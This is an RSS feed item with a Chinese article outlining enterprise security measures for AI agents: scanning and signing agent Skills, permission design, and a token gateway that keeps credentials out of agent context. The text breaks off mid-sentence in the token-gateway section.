<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>灾难控制 局</title>
    <link>https://wechat2rss.xlab.app/feed/1559746776b3cf0a4aea8dd4f2979f71108093de.xml</link>
    <description>Will的小屋&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (灾难控制 局)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM5ic8CR6yKNLzt25PzjdHFPBoJiaFqX5h5VgsGpmf2zAFZQ/0</url>
      <title>灾难控制 局</title>
      <link>https://wechat2rss.xlab.app/feed/1559746776b3cf0a4aea8dd4f2979f71108093de.xml</link>
    </image>
    <item>
      <title>企业级 Agent 安全构建指南</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NTc1NTcwNg==&amp;mid=2247484492&amp;idx=1&amp;sn=d1ad5444996c011a30671572ec308cde</link>
      <description>企业级 Agent 安全构建指南</description>
      <content:encoded><![CDATA[<p>原创 <span>EBwill</span> <span>2026-04-21 23:29</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=21a709c1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FhaeEa6u0cicB5PvJqqNP9xC5qpmFONJ6l7XojIf4Ir6JnveKxY8Uke6Rf5Xy2IdguPPnf4kJ4YPXPTzulqP5z1acS0edZ97T6UvfK1zWxiaQI%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>企业级 Agent 安全构建指南</p>
  <h2 cid="n49" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">1. Skills 扫描</span></span></h2><h3 cid="n62" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">1.1 静态检测</span></span></h3><ul style="box-sizing: border-box;margin: 0.8em 0px;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" class="list-paddingleft-1"><li style="box-sizing: border-box;margin: 0px;"><p cid="n77" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">针对 Skills 内脚本、二进制类文件生成 SBOM 清单，针对 SBOM 进行漏洞、投毒威胁情报检测；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n78" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">针对 Skills 内脚本、二进制类文件进行传统 SAST 检测，对常见漏洞、硬编码等问题进行检测；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n81" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">针对 Skills 内脚本、二进制类文件进行静态病毒检测或 HASH 威胁情报检测；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n112" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">尝试针对关键系统调用位置进行提取，如文件、网络、进程操作。</span></span></p></li></ul><p cid="n88" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">相关开源工具：</span></span></p><ul style="box-sizing: border-box;margin: 0.8em 0px;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" class="list-paddingleft-1"><li style="box-sizing:border-box;margin:0px;color:#007aaa;font-style:italic;"><p cid="n93" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><span leaf=""><span textstyle="" style="color: rgb(0, 122, 170);font-style: italic;text-decoration: underline;"><a href="https://osv.dev/" target="_blank">https://osv.dev/</a></span></span></span></p></li><li style="box-sizing:border-box;margin:0px;color:#007aaa;font-style:italic;"><p cid="n94" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><span leaf=""><span textstyle="" style="color: rgb(0, 122, 170);font-style: italic;text-decoration: underline;"><a href="https://github.com/google/magika" target="_blank">https://github.com/google/magika</a></span></span></span></p></li><li style="box-sizing:border-box;margin:0px;color:#007aaa;font-style:italic;"><p cid="n97" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><span leaf=""><span textstyle="" style="color: rgb(0, 122, 170);font-style: italic;text-decoration: underline;"><a href="https://github.com/cisco-ai-defense/skill-scanner" target="_blank">https://github.com/cisco-ai-defense/skill-scanner</a></span></span></span></p></li><li style="box-sizing:border-box;margin:0px;color:#007aaa;font-style:italic;"><p cid="n103" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><span leaf=""><span textstyle="" style="color: rgb(0, 122, 170);font-style: italic;text-decoration: underline;"><a href="https://www.clamav.net/" target="_blank">https://www.clamav.net/</a></span></span></span></p></li><li style="box-sizing:border-box;margin:0px;color:#007aaa;font-style:italic;"><p cid="n106" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><span leaf=""><span textstyle="" style="color: rgb(0, 122, 170);font-style: italic;text-decoration: underline;"><a href="https://www.opengrep.dev/" target="_blank">https://www.opengrep.dev/</a></span></span></span></p></li><li style="box-sizing:border-box;margin:0px;color:#007aaa;font-style:italic;"><p cid="n109" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><span leaf=""><span textstyle="" style="color: rgb(0, 122, 170);font-style: italic;text-decoration: underline;"><a href="https://github.com/anchore/syft" target="_blank">https://github.com/anchore/syft</a></span></span></span></p></li></ul><p cid="n153" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">恶意 Skills 样本：</span></span></p><ul style="box-sizing: border-box;margin: 0.8em 0px;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" class="list-paddingleft-1"><li style="box-sizing:border-box;margin:0px;color:#007aaa;font-style:italic;"><p cid="n158" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><span leaf=""><span textstyle="" style="color: rgb(0, 122, 170);font-style: italic;text-decoration: underline;"><a href="https://huggingface.co/datasets/yoonholee/agent-skill-malware" target="_blank">https://huggingface.co/datasets/yoonholee/agent-skill-malware</a></span></span></span></p></li></ul><h3 cid="n63" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">1.2 动态检测</span></span></h3><ul style="box-sizing: border-box;margin: 0.8em 0px;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" class="list-paddingleft-1"><li style="box-sizing: border-box;margin: 0px;"><p cid="n130" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">在有探针的 Sandbox 内进行 Skills 加载操作，仅完成初始化部分，目的是针对可能的投毒危害进行检测，针对新增文件、网络请求进行分析，可以使用静态检测能力+外部威胁情报+人工审核的方式进行。</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n131" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">针对新增文件可以再进行静态检测。</span></span></p></li></ul><h3 cid="n67" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">1.3 LLM 分析</span></span></h3><ul style="box-sizing: border-box;margin: 0.8em 0px;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" class="list-paddingleft-1"><li style="box-sizing: border-box;margin: 0px;"><p cid="n122" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">针对 Skills.md 和相关依赖进行意图分析，分析是否存在恶意意图；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n126" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">外部依赖提取，针对如初始化、运行过程中的外部依赖进行提取，然后进入动态检测能力进行动态检测；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n134" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">针对动、静态检测产出进行告警分析，误报消除+进一步研判；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n137" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">针对 Skills 进行公司内部标准打 Tag 或分类分级。</span></span></p></li></ul><h2 cid="n50" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">2. Skills 准入</span></span></h2><ul style="box-sizing: border-box;margin: 0.8em 0px;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" class="list-paddingleft-1"><li style="box-sizing: border-box;margin: 0px;"><p cid="n142" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">经过安全扫描的 Skills 需要进行签名后再上架，签名需要确保防止重打包；对应的 SBOM 等也应当按针对传统制品一样存储管理；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n143" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">严格意义上讲，企业内 Agent 仅运行运行有内部签名的 Skills；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n146" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">Skills 除了签名外，也应该有完整的权限体系，虽然硬编码等问题已经在扫描阶段被解决了，但依然会存在敏感信息、非公开知识存在与 Skills 内，因此在除了签名外，也可以考虑针对高安全等级 Skills 进行加密；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n322" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">个人 Skills 应当适当放开准入条件，即应该在如开发测试 Skills 、积累沉淀阶段加载未经签名的 Skills，这部分安全风险由后续能力进行兜底。</span></span></p></li></ul><h2 cid="n51" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">3. Agent 权限设计</span></span></h2><ul style="box-sizing: border-box;margin: 0.8em 0px;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" class="list-paddingleft-1"><li style="box-sizing: border-box;margin: 0px;"><p cid="n166" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">Agent 应接入公司 SSO/IAM（废话）；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n715" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">租户、跨回话隔离；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n718" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">Memory 设计需要考虑 Skills 风险等级；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n277" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">Agent 运行不应仅仅考虑SSO权限，应当有类似企业网准入机制，即在安全的、可信的环境下被运行；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n176" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">Skills 若存在登陆需求（此时硬编码场景应当在扫描阶段识别并拒绝上架），应该由 Agent 封装对应的 Auth Tool，由对应 Auth Tool 调用对应的公司 SSO 鉴权、用户手动输入用户名密码或AKSK；应当尽量避免本地明文配置存储相关凭证（如果公司已经实现了 Passwordless 应当比较简单了）；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n879" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">最终该场景下的权限应该都收敛成为 delegated/OBO(On-Behalf-Of) 或者 STS Gateway 方案，Agent 不需要管理和存储长期权限的 Token、AKSK，但是实际情况下需要有相对安全的兼容方案。</span></span></p></li></ul><p cid="n895" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">参考资料：</span></span></p><ul style="box-sizing: border-box;margin: 0.8em 0px;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" class="list-paddingleft-1"><li style="box-sizing:border-box;margin:0px;color:#007aaa;font-style:italic;"><p cid="n900" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><span leaf=""><span textstyle="" style="color: rgb(0, 122, 170);font-style: italic;text-decoration: underline;"><a href="https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-on-behalf-of-flow" target="_blank">https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-on-behalf-of-flow</a></span></span></span></p></li><li style="box-sizing:border-box;margin:0px;color:#007aaa;font-style:italic;"><p cid="n901" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><span leaf=""><span textstyle="" style="color: rgb(0, 122, 170);font-style: italic;text-decoration: underline;"><a href="https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html" target="_blank">https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html</a></span></span></span></p></li></ul><h2 cid="n52" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">4. Agent Token Gateway 与 Token 存储</span></span></h2><ul style="box-sizing: border-box;margin: 0.8em 0px;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" class="list-paddingleft-1"><li style="box-sizing: border-box;margin: 0px;"><p cid="n908" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">Agent 如果在运行过程中需要管理大量敏感AKSK、Token，这部分不应该直接传入 Skills 上下文，而应该使用 Token Gateway 的方式进行使用，即：Skills -&gt; HTTP Request -&gt; Local Gateway -&gt; Server；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n197" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">Local Token Gateway 需要实现根证书写入，Agent 设置代理指向该 Proxy，并按约定进行对 Token 进行标识，Gateway 通过中间人的形式对 Token 进行植入；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n912" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">Token 的实现这里也可以使用 SDK 的方式进行支持，但是考虑到内部 Skills 仓库会有大量外部 Skills 同步进来， SDK 方案不一定能有很好的兼容性，但是长期看 SDK -&gt; 非MITM 的方案应该会更加稳定可靠，可以成为内部自建 Skills 